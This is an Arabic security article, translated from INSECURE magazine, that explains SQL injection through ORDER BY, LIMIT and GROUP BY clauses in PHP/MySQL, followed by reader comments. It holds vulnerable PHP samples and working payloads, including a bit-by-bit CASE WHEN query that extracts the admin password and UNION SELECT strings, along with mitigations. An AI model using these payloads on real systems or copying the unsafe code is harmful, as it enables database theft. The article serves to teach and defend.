مواضيع ومقالات

ثغرات SQL Injection غير إعتيادية

تم أرشفة هذا المحتوى


إستغلال ثغرات SQL Injection بطرق غير إعتيادية عن طريق حقن الإستعلام في الشرط order by , group by أو limit. سوف نتناول في هذا المقال ظهور نوع جديد من ثغرات الحقن تختلف عن الانواع الي نعرفها دائماُ وسوف نتكلم عن ثلاثة محاور اساسية وهي التعرف على هذا النوع من الثغرات, إستغلالها وكيف تحمي نفسك منها.

مع التقدم الحماية صار لابد للهكر اللجوء الى اساليب جديدة في الاختراق وايجاد نقاط الضعف لكي يتم استغلالها وفي الايام الحالية ظهر نوع جديد من ثغرات الحقن (SQL Injection) والتي يستغلها المخترق في تنفيذ مايريد وهناء يقوم المخترق بالتحكم في الشروط (ORDER BY, LIMIT or GROUP BY) في امر الاستعلام.

وفي هذا المقال سوف نقوم بالتطبيق على قواعد بيانات mysql server و مع العلم أن هذه التقنية بالامكان تطبيقها على كافة قواعد البيانات.

في معظم ثغرات SQL Injection يتم التركيز على مابعد الشرط where والتي يكون المستخدم هو المتحكم بها مثال:

SELECT fieldlist
FROM table WHERE field = ‘<part_controlled_by_user>’;

في هذا الامر للاستعلام اذا قام المستخدم بادخال قمية غير المطلوب ادخالها سوف يحدث خطاء (sql injection)    وهناء يحتاج المخترق الى معرفة عدد الحقول (filedlist) لكي يتم تنفيذ استعلام الاتحاد او (UNION SELECT SQL) لكي يتم استخارج البيانات المطلوبة من القاعدة وسوف يكون شكل الاستغلال كالتالي:

SELECT fieldlist
FROM table WHERE field = ‘INVALID_VALUE’ UNION SELECT VERSION()

في الجزء الاول من امر الاستعلام لن يتم إعادة اي قيمة لأن الشرط هنا سوف يكون خطاء وعوضاً عن ذلك سوف يتم عرض إصدار قاعدة البيانات والتي سوف تكون في الجزء الثاني من امر الاستعلام و لن اطيل في التكلم عن هذا النوع من الثغرات لأنها معروفه لدى الجميع وتم شرحها كثيراً في السنوات الاخيرة.

 

ثغرة الحقن في الشرط (by order):

والان سوف نقوم بالتعرف على هذا النوع من الثغرات وسوف ناخذ كود php التالي:

<?php
include ‘db.php’;
if (isset($_GET[“order_by”]))
$order_by = mysql_escape_string($_GET[“order_by”]);
else
$order_by = ‘name’;
$result = mysql_query(“SELECT * FROM users ORDER BY $order_by”);
while( $row = mysql_fetch_array($result) ){
echo “<b>”.$row[“username”].”</b> – “;
echo ” “.$row[“name”].” – “;
echo ” “.$row[“email”];
echo “<br>”;
}
?>

في المثال الذي في الاعلاء سوف تلاحظ ان المستخدم يمكنة التحكم في طريقة عرض النتجية النهائية بواسطة إدخال قيمة من نوع GET الى المتغير $order_by، إذا قمنا بطلب الصفحة الرابط التالي:

/orderby.php?order_by=name

سوف يقوم بعرض المستخدمين حسب الاسم  وسوف تكون النتيجة على الشكل التالي:

  1. admin – Clear Rivers – [email protected]
  2. John – John Smith – [email protected]
  3. Mary – Mary Smith – [email protected]
  4. Adrian – Popescu Adrian [email protected]

وعندما يتم طلب الرابط التالي:

orderby.php?order_by=email

سوف يتم عرض المستخدمين حسب الايميل وسوف تكون النتيجة على الشكل التالي:

  1. admin – Clear Rivers – [email protected]
  2. Adrian – Popescu Adrian – [email protected]
  3. John – John Smith – [email protected]
  4. Mary – Mary Smith – [email protected]

في مثال السابق نلاحظ ان المطور حاول استخدام بعض الفلترة بستخدامه دالة ‘mysql_escape_string’  وهذا النوع من الحماية لن يجدي نفعاً لأن القيمة المدخلة ليست بين علامات تنصيص (enclosed between quotes) ويتعبر الكود السابق مصاب بثغرة حقن.  وهذه الثغرة لا يمكننا ان نستخدم معها UNION SELECT, إذا كيف يمكننا استغلالها؟ لو قمناء بتنفيذ استغلال مثل:

SELECT * FROM users ORDER BY name union select version()

سوف يعيد لنا خطاء يحمل الرسالة  التالية:

“Incorrect usage of UNION and ORDER BY”.

والفكرة هي ان order تعتمد على قيمة منطقية اما (true or false) ويجب ان يكون الاستعلام بالشكل التالي:

SELECT * FROM users ORDER BY (case when ({boolean_condition}) then name else email end)

إذا, سوف يكون الاستعلام بالشكل التالي :

SELECT * FROM users ORDER BY (case when (1=1) then name else email end)

وفي مثل هذه الحالة الشرط (1=1) قيمة صحيحة وسوف يعرض لنا حسب الاسم ، واذا كان الشرط هناء خطاء سوف يعرض على حسب الايميل وسوف يكون على الشكل التالي :

SELECT * FROM users ORDER BY (case when (1=0) then name else email end)

باستخدام هذا الشرط بستطاعتنا ان نستخرج البيانات التي نريد من القاعده  على شكل واحد بت في نفس الوقت (one bit at a time.)وعلى سبيل المثال لو اردنا ان نستخرج كلمة السر  للمدير (administrator) سوف يكون الاستعلام على الشكل التالي:

SELECT * FROM users ORDER BY (case when (ORD(MID((select password from users where id=1),1,1))&1>0) then name else email end)

بعد تنفيذ هذا الاستعلام إذا كانت القيمة للشرط صحيحة اي يكون الحرف الاول للباسورد 1 سوف يعرض النتيجة حسب الاسم وإذا لم تكن صحيحة اي الحرف الاول من الباسورد لا يساوي 1 سوف يعرض على حسب الايميل.

ويتم الاستمرار الى ان يتم عرض الباسورد كامل على الشكل التالي:

SELECT * FROM users ORDER BY (case when (ORD(MID((select password from users where id=1),1,1))&2>0) then name else email end)

لكن هذه العملية سوف تكون متعبة بشكل اليدوي لكن يوجد هناك سكربت بيثون قام ببرمجتة Bogdan من فريق acunetix يسهل عملية استخراج البيانات:

order by data extractor

لتحميل السكريبت: orderby.py

 

ثغرة الحقن في الشرط (Limit) :

دعونا نلاحظ الكود التالي:

<?php
include ‘db.php’;
if (isset($_GET[“limit”]))
$limit = mysql_escape_string($_GET[“limit”]);
else
$limit = ‘3’;
$result = mysql_query(“SELECT * FROM users LIMIT $limit”);
while( $row = mysql_fetch_array($result) ){
echo “<b>”.$row[“username”].”</b> – “;
echo ” “.$row[“name”].” – “;
echo ” “.$row[“email”];
echo “<br>”;
}
?>

وهذا الكود ايضا يحتوي على ثغرة حقن لكن في هذه المرة الحقن سوف يكون في الشرط (limit)  وهذا النوع إستغلالة سهل ليس مثل الاستغلال السابق الخاص بـ order  . وباستطاعتنا استخدم (union) بطلب الصفحة بشكل التالي:

/limit.php?limit=2+union+select+1,2,version(),4,5,6,7,8

وكما تلاحظ في الاستعلام السابق إن الاستغلال سهل جداً ولكي تحمي نفسك من هذا النوع من الهجوم  بمكانك استخدام احد الدالتين

$limit = mysql_escape_string($_GET[“limit”]) او  $limit = intval($_GET[“limit”])

للتحقق ان القيمة المدخله رقم.

ثغرة الحقن في الشرط (GROUP BY):

في هذه الحالة تكون مشابهه جداً الى حالة LIMIT اي يمكنك استغلالها من خلال (UNION SELECT) لاستخراج البيانات المطلوبة وسوف يكون الاستعلام بالشكل التالي:

select * from users group by id union select 1,2,version(),4,5,6,7,8

ولكي تحمي نفسك من هذا النوع من الهجمات استخدم نفس الاسلوب الذي ذكر في (ORDER BY) اي تحدد (white list)  للقيم التي يجب عمل عليها GROUP BY.

الخلاصة:

في مثل هذه الحالات دالة  mysql_escape_string  لن تحميك من ثغرت الحقن التي ذكرنها سابقاُ والسبب ان القيمة المدخلة لن تكون بين علامات تنصيص. في مثل هذه الحالات انت تحتاج الى التحقق من القيم المدخله بشكل يدوي هل يسمح بتمريها الى الاستعلام او لا.

– المقال مترجم من مجلة INSECURE 25 للكاتب Bogdan Calin.

عن الكاتب:


فايز الخليفي, متخصص في مجال أمن المعلومات. مبرمج محترف php و python يمتلك خبرة واسعة في أنظمة التشغيل والحماية بشكل عام.

مقالات ذات صلة

‫8 تعليقات

  1. اولا تشكر على طرح هذا الموضوع
    طبعا هناك كثير من مواضع الحقن التي تكون نادرة و التي يمكن اضافتها الى الموضوع فمثلا يمكن ان تكون القيمة المررة هي اسم الجدول و يمكن استغلالها بطريقة اكثر بساطة و دون الحاجة الى عدد الحقول

  2. تسلم حبيبي على المقال وشرح الجيد
    إلى أنه يوجد طرق أخرى جديدة وهذا النوع لوظعتو انت راح أتابعو من أ إلى ياء
    بالتوفيق

  3. شكرا لك أخي فايز الخليفي
    ونتمنى من الاخوة اللي يعرفون طرق أو معلومات يضيفها لنا هنا و نقاش فيها
    وشكرا للجميع

  4. اهلين اخواني الاعزاء

    اخي الكريم NetCat-Dz مثل لما ذكرت انت يوجد العديد انا تكلمت عن نقاط الضعف اما الاستغلال فايوجد الكثر ولكل شخص اسلوب معين في الاستغلال والاهم هو ايجاد نقطة الضعف

    اخي ِعامر شكراً على المرور واتمنى لو اذا كانت لديك اي طرق جديدة اتمنى ذكرها لكي تعم الفائده للجميع

    اخي BlzOfHK اتمنى ان يكون الشرح قد افادك .

    اخي Hit-Man شكراً على المرور

  5. السلام عليكم
    أشكرك أخي على الشرح المميز . من شخص مميز
    وأعتقد أن ثغرات الحقن أصبحت منتشرة و الخبرة بها تتطور بشكل كبير
    و إن حقن قواعد البيانات و استغلالها له نفس الأسلوب تقريباً و نفس المبدا و هنا تظهر الطرق القوية و المختصرة ..
    تحياتي لك .

  6. شكرا اخي .. على الشرح الرائع وفعلاُ مثل ماقال أخوي فكره واحده / هنا تظهر الطرق القويه والمختصرة

    فأنا أجيد أستغلال قواعد البيانات والاستعمال عنها ومعرفة اليوزر والباسسورد والأيميل ..

    بس بطريقه أخرى وسريعه ،، 🙂

  7. السلام عليكم
    في الحقيقة موضوع اختراق قواعد البيانات هذا خطير جداً, ولكن كما هوالحال في ابتكار طريق جديدة للتحايل علي قواعد البيانات هناك ايضاً الكثير من الطريق لحماية قاعدة بياناتك من الاختراق او التلاعب بها.

    فمثلاً هذا الكود يمنع تماماً استخدام اي استعلام علي قواعد البيانات بشكل كبير:
    ================

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى